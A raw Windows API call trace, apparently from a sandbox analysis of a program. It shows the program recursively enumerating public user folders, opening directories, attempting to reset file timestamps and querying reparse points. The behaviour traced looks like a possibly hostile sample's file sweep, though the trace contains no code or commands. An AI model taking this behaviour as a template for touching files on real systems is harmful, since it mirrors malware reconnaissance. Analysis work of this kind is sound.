FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="")) returned 1 [0093.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9ab8 [0093.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe468 [0093.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9fc0) returned 0x132a698 [0093.106] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="")) returned 0 [0093.106] GetLastError () returned 0x12 [0093.106] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.106] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="")) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="")) returned 0 [0093.107] GetLastError () returned 0x12 [0093.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.107] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0093.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.108] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.108] CreateFileW (lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.108] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.108] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.109] NtClose (Handle=0x164) returned 0x0 [0093.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.110] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.110] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.110] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9ad8 [0093.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe4f0 [0093.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="")) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="")) returned 0 [0093.112] GetLastError () returned 0x12 [0093.112] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.112] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="")) returned 1 [0093.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music" (normalized: "c:\\users\\public\\music\\sample music"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.113] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music" (normalized: "c:\\users\\public\\music\\sample music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.113] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0093.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.113] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0093.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.114] NtClose (Handle=0x164) returned 0x0 [0093.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe578 [0093.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe600 [0093.115] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0093.117] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.117] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9af8 [0093.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe710 [0093.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.119] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0093.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9b18 [0093.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe798 [0093.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.121] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="")) returned 1 [0093.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0093.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe578) returned 1 [0093.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9b38 [0093.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ff30 [0093.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.124] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="")) returned 1 [0093.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9b58 [0093.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe578 [0093.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.126] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="")) returned 0 [0093.126] GetLastError () returned 0x12 [0093.126] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0093.126] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.126] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="")) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="")) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="")) returned 0 [0093.127] GetLastError () returned 0x12 [0093.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe600) returned 1 [0093.127] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0093.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0093.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.128] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="")) returned 0 [0093.128] GetLastError () returned 0x12 [0093.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.129] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.129] RtlFreeHeap (HeapHandle=0x940000, 